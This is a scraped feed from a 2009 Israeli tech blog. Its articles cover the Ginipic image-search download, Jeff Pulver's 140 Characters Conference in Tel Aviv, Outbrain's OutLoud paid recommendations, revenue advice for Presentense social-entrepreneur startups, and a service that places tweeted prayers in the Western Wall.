Ginipic is entirely free right now and, unlike other web services that pitch a paid premium version, the company’s business model is to cut “white label” deals that will give an existing photo sharing site Ginipic’s functionality but with the partner’s branding. Ginipic is also in talks with several advertising agencies to update their aging interfaces for image search.

CEO Weinstein told me that Ginipic is looking for deals in the $10-30,000 range rather than with big players who might pay in the hundreds of thousands of dollars. We asked him why. “We wanted to bring the product to market as fast as possible,” he said. “With a $100,000 deal, there are endless meetings. And for that price, a big company will always consider building it in-house. At $10,000, it’s not a problem.”

Weinstein said the idea for Ginipic actually came to him in a dream. “I was working on a big paper in a classical studies course” at Tel Aviv University, he said and needed pictures of ancient Greek and Roman statues.

Exhausted, he fell asleep one night and dreamed of dragging pictures directly from the photo sharing websites he visited into a Word document. Two weeks later, a mock up was done and the company was on the fast track to development.

Ginipic is not a web application but a download and it works on Windows only (bad news for all the creative types and increasing numbers of students who use Macs). Why the download? we asked Weinstein, aware that this is often a barrier to usability for many wary web denizens.

That was the only way to enable the drag and drop functionality. You can’t go direct from web to Word, nor can you search your own computer, Weinstein explained. Fortunately, the software itself is small – only 4 MB – making for a relatively painless installation.

I asked Weinstein about Ginipic’s product management process. There wasn’t much, he said. The team just jumped in and started coding. After about a month, “we did a proper product plan,” Weinstein said, with a feature roadmap and competitive analysis.

As with many self-funded startups, the “go for it” approach can be effective. Weinstein warned against “feature freeze” where you plan too much and never get the product out the door because there’s always one more feature to add.

Ginipic also used an interesting tool for soliciting customer feedback. UserVoice puts a small tab on the left side of every screen on the site. Clicking allows users to vote on which features they’d most like to see (a Mac version leads the list). The service is free for 100 votes per month. It ramps up rapidly from there to a max of $589/month for all the bells and whistles.

Weinstein said that after all the feedback was in, the team was pleased that there were no additional features they hadn’t originally thought of. UserVoice helped mainly in ranking what functionality should be rolled out first.

Ginipic is not without competitors. Meta-search services like Copernic have been around for years, and Microsoft Office’s Clip Art tool is already built into Word (“although no one uses it,” Weinstein mused). Other sites, such as CoolIris, are more about enjoying images online than searching them, Weinstein pointed out.

So far, in the 9 months since Ginipic launched, it’s signed up over 100,000 users “on $0 advertising,” Weinstein said. Approximately 25 percent of those are active users.

Among the services with which Ginipic works are DeviantArt, Flickr, Picasa, Google, Fotolia, Bing, PhotoBucket, SmugMug, Yahoo, Dreamstime and Crestock.

I use a Mac, so I personally won’t be able to give Ginipic a spin anytime soon but I’ll recommend it to my PC-using friends.

A version of this story originally appeared on Israel21c.

]]> https://bluminteractivemedia.com/2009/12/ginipic-image-search-on-steroids/feed/ 22 140 Characters Comes to Tel Aviv https://bluminteractivemedia.com/2009/12/140-characters-comes-to-tel-aviv/ https://bluminteractivemedia.com/2009/12/140-characters-comes-to-tel-aviv/#comments Mon, 07 Dec 2009 11:49:14 +0000 https://bluminteractivemedia.com/?p=428

Jeff Pulver

Jeff Pulver in Tel Aviv

Jeff Pulver is a galavanting kind of guy. The one time founder of voice-over-IP telephony company Vonage, Pulver has in recent years traveled the globe hosting hi-tech networking “breakfasts” that attract hundreds of attendees

On Sunday, Pulver was back in town with a combined breakfast and conference focused on “the state of now.”

Dubbed the “140 Characters Conference” (that’s the number of characters you’re allowed to type into the Twitter “What’s happening?” box), some 250 social media “characters” gathered at Tel Aviv’s Afeka College of Engineering to listen attentively to a whopping four dozen presenters who spoke either in panel discussions or alone in 10 minute increments  (a large clock counted down the minutes and, other than a few misbehavers, the time was scrupulously observed).

Among the presenters were Alon Nir, the entrepreneur behind “TweetYourPrayers” which allows petitioners to tweet notes that Nir physically places in the cracks of the Western Wall. Nir started the project as a hobby. By the summer, he had thousands of notes and had to enlist an army of volunteers (recruited via Twitter of course) to roll the print outs and cart them to Jerusalem. Find him on Twitter at @thekotel.

A highlight for Israeli music fans was the appearance on stage of rockers Yoni Bloch and Ivri Lider who talked about how they use Twitter to get closer to their fans. Bloch, a self-confessed nerd, initially found fame by posting his songs to an Israeli MySpace-clone and was flabbergasted when, several years ago – long before the advent of Twitter – he sold out a live show just by announcing it online.

Comedians Charley Warady and Benji Lovitt talked about how they use social media to try out punch lines for their jokes (“can you be funny in 140 characters?” asked one audience member).

On a more serious note, David Saranga discussed how the Israeli consulate in New York took to Twitter to counter negative reports coming out of Gaza during January’s Operation Cast Lead. He also pointed out one of the more effective campaigns to reposition Israel in the mind of the world: the 2007 infamous “Girls of the IDF” bikini photo spread in Maxim magazine.

The strangest use of Twitter discussed? Simultaneous tweeting while watching TV. While I find it hard to understand how one can actually enjoy a program while tapping away on a Blackberry or iPhone keyboard, veteran media consultant Dror Gill suggested that interactive media can actually restore some of the social cohesion that’s been lost in the modern world where families rarely sit down together to watch the contemporary equivalent of All in the Family.

Twittering away, he said, is akin to kibbutzing together in the family room…even if your fellow schmoozers are thousands of miles away.

To back up that point of global interconnectedness, host Pulver announced at the day’s conclusion that 6,464 people from around the world had tuned in to watch the conference live via the Internet and that for much of the day, this intimate little get together, tucked away in an off the beaten track corner of Tel Aviv, had been ranked in Twitter’s Top 10 “trending topics.”

See for yourself. Search for #140conf on Twitter.

This article originally appeared on the Israelity blog.

]]> https://bluminteractivemedia.com/2009/12/140-characters-comes-to-tel-aviv/feed/ 121 $10 for Crying Out Loud https://bluminteractivemedia.com/2009/11/10-for-crying-out-loud/ https://bluminteractivemedia.com/2009/11/10-for-crying-out-loud/#comments Mon, 23 Nov 2009 16:24:20 +0000 https://bluminteractivemedia.com/?p=320

StarsOutbrain is a company I like a lot. It has a seemingly simple product that provides some very useful functionality: content rating and recommendations for blogs.

Follow the easy installation instructions and Outbrain will allow your readers to give your latest post a 1-5 score. Then, based on Outbrain’s massive database of reader tastes and web content, the Outbrain widget that displays on your blog will point visitors to related articles that Outbrain has determined they might find interesting.

Yes, it directs visitors away from your blog, but it also has the potential to turn your site a mini-destination site. (You can see Outbrain at work on this blog – scroll to the end of any post.)

When the company raised a sizable second round of financing earlier this year, a lot of brows were furrowed: $12 million for a blog plug-in? Investors must have had a sneak preview of the company’s latest feature, launched earlier this month: an enhancement that allows publishers to pay for premium placement of their content.

The new goodie is called OutLoud and it costs $10 per URL. Featured content appears at the top of the Outbrain recommendations list and is clearly labeled. Without OutLoud, Outbrain uses its own algorithms to suggest content.

OutLoud can be used in two ways. A publisher can let Outbrain control which sponsored recommendations appear; Outbrain will then split revenue with the blog publisher.

Alternatively, a publisher can set up the OutLoud service to work as an internal referral engine: only URLs from the publisher will appear. This can be used to generate more traffic within a single property or on a network of sites owned by the same publisher.

At first glance, $10 might seem like a no brainer for a small to medium sized online publisher, but it quickly adds up. And the $10 fee per URL is only for a month. You have to pay up if you want the sponsored link to keep going.

Outbrain says that the service is aimed at a number of target clients:

  • Marketers who want to drive word-of-mouth by amplifying positive reviews about their company.
  • Individual bloggers who want to promote their most brilliant posts.
  • Public relations professionals looking for new ways to distribute releases
  • Social media gurus who can push out articles from a corporate blog to drive traffic.

With such a cool product, I wondered what product management is like at Outbrain. Amit Elisha, who directs the process, says that the days of long and involved specs with accompanying Photoshop images are long gone. “We were work on a very fast 3-4 week release cycle,” Elisha said. “We prefer UI (user interface) mock ups over technical documentation, which we keep very brief.”

Elisha’s tool of choice is Balsamiq Mockups which makes it incredibly easy to create a wireframe. I tried it out and it lives up to the hype with a truly drag and drop interface. Thanks Amit for the tip!

Elisha has been with the company since August of last year and moved from Israel, where Outbrain started, to New York for the job. I asked him my favorite question about what parts of product management could be outsourced. None, he said. Outsourced people don’t have the same stake in the company. “We hire people with a certain DNA,” he added.

For publishers looking to generate additional revenue, OutLoud certainly looks promising, although it will take some time before the service has the critical mass to add up to more than just some extra change. On the other hand, it’s free to install and Outbrain doesn’t add its own branding or links back to the Outbrain site.

Outbrain was founded by Yaron Galai and Ori Lahav. The 25-person company has headquarters in New York with R&D in Israel. The latest round was led by Carmel Ventures with previous investors Gemini, Lightspeed and GlenRock Israel filling out the round. Total raised to date: just over $18 million.

]]> https://bluminteractivemedia.com/2009/11/10-for-crying-out-loud/feed/ 23 Business Advice for Social Entrepreneurs https://bluminteractivemedia.com/2009/08/business-advice-for-social-entrepreneurs/ https://bluminteractivemedia.com/2009/08/business-advice-for-social-entrepreneurs/#comments Mon, 03 Aug 2009 14:57:10 +0000 https://bluminteractivemedia.com/?p=1

As the 16 “social entrepreneurs” took to the stage last Thursday to present their 15-second “elevator pitch,” I was filled with anticipation. What would the next generation of hi-tech founders come up with?

Here were some of Israel’s best and brightest, hand selected by the Presentense organization which aims to arm young people who want to do good with solid business skills and knowledge.

And at first glance, the strategy has paid off handsomely. The participants in the Presentense “launch night” were confident and personable. The first ever publicly presented elevator pitches on their would-be companies – from subjects as diverse as fostering peace in the Middle East to making prayer more accessible – were polished and presentable; none would have been out of place in a corporate board room.

After the on-stage performance, each Presentense “fellow” manned a table equipped with a laptop, business cards and printed collateral material for the 500 or so guests to peruse and pocket.

As I weaved between the entrepreneurs’ pitches, I found myself enthralled by the creativity…but confused by the business models behind many of these pre-seed startups. It’s not that Presentense didn’t prepare its participants properly; it’s more the nature of social change-focused non-profits which have lofty goals but that all too often rely on philanthropy not profits.

But I’m feeling up to the challenge. So let me here present some of the projects that most stood out for me, and let’s brainstorm together on how each could, if not actually generate enough revenue to make its founders rich, at least sustain itself as a social entrepreneurial success.

CreaTV

As a media guy, I found CreaTV fascinating – a marketplace of sorts matching up amateur movie makers with professionals to develop quality products for YouTube or broadcast television. CreaTV is targeting the Israeli market initially and will reach out to students at Israel cinema schools. Founder Elad Kimelman describes himself as an “enthusiastic Zionist” who believes that Jewish-produced media can help bind together the Israeli and Diaspora Jewish communities.

Kimelman hopes that the company will generate projects that receive funding from Israeli production companies; CreaTV would then take a cut. That’s not a bad idea, but unless there are a lot of financed productions, it’s hard to see how the site will sustain itself in the interim. YouTube is drowning under bandwidth costs and parent Google still hasn’t figured out how to sufficiently monetize the site.

A Vimeo model, where CreaTV charges for video storage above a certain monthly file size and bandwidth limit might work (although rumors are that Vimeo is in financial trouble). CreaTV could also adopt the approach of recruitment classifieds, charging a fee when a match is made. But that seems to go against the company’s do-good goal of fostering partnerships.

MediaMidrash

MediaMidrash is another media startup that I liked a lot. Founders Russel Neiss, a librarian, and Charlie Schwartz, a rabbinic student at JTS, dream of creating a site where all of the Jewish videos in the world could be uploaded for teachers to use in school classes. Moreover, teachers could include curriculum to enhance the videos (from both the videomakers themselves and independent instructors who find the videos useful).

My first job back 20 years ago was as the at the San Francisco Bureau of Jewish Education’s media department. I was in charge of taking orders from teachers and sending out films, VHS tapes and even filmstrips (remember those?) I would have loved a computerized database like MediaMidrash.

Again the question: how will this make money? I spoke with Neiss who said it was a low cost operation and that he could run it while keeping his day job. I pointed out that, if MediaMidrash takes off, bandwidth and storage costs will quickly outstrip a volunteer job. The company’s documentation talks about offering premium services such as creating custom video and course material, staff training and websites.

In general, I think this “freemium” model – where you give away most of the content for free and upsell paid services – is the way to go. But creating new video and course content will require specialized staff – whether in-house or outsourced – and the mark-up in order to keep the company going (and pay its founders) may prove prohibitive to Jewish day schools already suffering in a post-Madoff era. Let’s hope that’s not the case.

JewTo

Jewto.com is a great name that founder Melissa Berg somehow snagged – finding a short and catchy URL like that is almost unheard of these days. Berg wants to create a mashup of Craigslist-like classifieds with a global guide to Jewish resources. Think every kosher restaurant in the world and mezuzas for sale.

Berg talked to me about hiring staff to write about all things Jewish in your city, but a more scalable model would be ape Yelp, the popular U.S. reviews and rankings site, where regular readers like you and me write the reviews of restaurants, dentists, bars, beauty salons and more. No need to pay when users contribute for the fame and glory.

Jewto can then upsell premium placement – such as your restaurant at the top of the listings (clearly marked as sponsored of course) – along with tools such as table booking, menu listings and take out. Yelp also sells display advertising – so should Jewto.

Berg should also look into partnering with fellow Israeli startup Bite 2Eat for the restaurant booking functionality as well a to look into whether Yelp or a similar site licenses its engine to third parties.

Jewto is a huge project but the business model – if done right (and it will need VC financing to pull off) – has real potential.

Peula

Did you ever receive crappy service from a store or government office? Wanted to complain but didn’t know how? Peula.com is here to help. The company is building a system to automate letter writing and to gather support from similarly minded aggrieved individuals online. Peula then sends your complaint on the right person.

Peula’s secret sauce is that when the target of your complaint responds, the reply is sent to all of the people listed on your e-complaint which means the responsible party’s response is tracked publicly.

Peula hopes this will differentiate it from its already formidable competition. In Israel, there’s atzuma.co.il, tluna.co.il, and shout.co.il. In the U.S. and U.K., companies like PlanetFeedback and HowtoComplain, and even the Better Business Bureau provide similar services – all for free.

Since the competition doesn’t charge, neither can Peula. Ads and sponsorships on the site are the company’s main business prospects. Allowing users to print letters for a fee, as founder Romi Shamai suggested to me, doesn’t make a lot of sense – users could too easily just copy and paste. There are probably additional added value tools Peula could add that I haven’t thought of yet.

The Open Siddur Project

Perhaps my favorite entrepreneur of the evening was Aharon Varady who is trying to create an online siddur (prayer book) with versions and commentaries from every source imaginable – from Rashi to Jewish Renewal plus user-contributed content. Spiritual seekers could then mix and match how they want to pray and print out their own personal siddur. “Imagine if the first siddur presented to a day school student was actually crafted by that student over the course of a year while being introduced to the liturgy in class,” Varady says.

As someone who struggles with prayer myself, I would love to have a site like Open Siddur. Varady is committed to “keeping this resource completely free.” So how to make money? Varady hopes to charge for printed copies through partnerships with print-on-demand printers.

But what would keep someone from simply generating their on their home printer? Those of us in the Internet publishing business have all learned the hard way that users won’t pay for content online. The print-on-demand model could work, but since each siddur would be customized for the individual, the volume would be low and as a result any partnership revenue from the POD guys would be similarly small.

Selling services around the siddur project – Jewish designers, calligraphers, scholars and even freelance editors – and taking a cut might be a better direction.

The Israel-Asia Center

The Israel-Asia Center seems to be the most mature project in the 2009 Presentense fellows program. The company already has a working website – a news magazine focused on “promoting partnerships between Israel, the Jewish people and Asia, with a strong focus on China.”

The management team includes an Israeli professor in China, and founder Rebecca Zeffert, a PR specialist and Chinese Studies graduate. They’re backed by a 20-member volunteer team in Israel, China, the U.S. and India. The company also has an impressive advisory board.

The Israel-Asia Center’s business model also makes sense: use the website as a platform for selling services – course syllabi on Israel-China relations, speaking engagements, briefings and exchange programs.

Given the growth of China as the world’s second largest economy and Israel’s already existing ties with the Asian giant, I give a hearty thumbs up to Zeffert and crew.

There were a bunch of other entrepreneurs at the event that I didn’t get a chance to talk with. Will they all succeed? Certainly not. Do they deserve to? Absolutely. Do I have all the answers? Not a chance. But this is just a start; some friendly advice, and I have no doubt these fledgling startups will receive plenty more.

What do you think? Which directions would you point these worthwhile endeavors. Drop me a line or leave a comment on the blog.

]]> https://bluminteractivemedia.com/2009/08/business-advice-for-social-entrepreneurs/feed/ 23 Tweets Come to the Western Wall https://bluminteractivemedia.com/2009/07/tweets-come-to-the-western-wall/ https://bluminteractivemedia.com/2009/07/tweets-come-to-the-western-wall/#comments Thu, 23 Jul 2009 14:12:21 +0000 https://bluminteractivemedia.com/?p=118

Have you ever wanted to place a note in the Western Wall but couldn’t afford the ticket to Jerusalem? Now you can tweet it.

It’s traditional to place short notes in the cracks of the Western Wall stones asking for health, livelihood and other personal requests. Now, a new Israeli Web site launched two weeks allows petitioners to submit their prayers or wishes via Twitter. The notes are then printed out and regularly taken to Jerusalem’s Old City.

Twitter is ideal for such a service: the 140-character limitation forces the religiously-minded to keep their requests short. It also allows site founder, Alon Nir of Tel Aviv, to consolidate a number of messages onto a single sheet of paper.

Nir doesn’t see the project more as cultural than religious. “I thought of it after understanding Twitter’s power and wondered what I could do with it,” he said. “So I linked the Western Wall to the millions using Twitter.”

One drawback: since the service uses Twitter, the notes are all public. Didn’t we all learning that telling someone what you wish for means it won’t come true?

The site is at http://www.tweetyourprayers.info/. You can follow the service at http://twitter.com/TheKotel (Kotel is the Hebrew for Western Wall). The site already has 546 followers.

For more articles on newspapers and classified advertising, visit the industry experts: AIMGroup.com.

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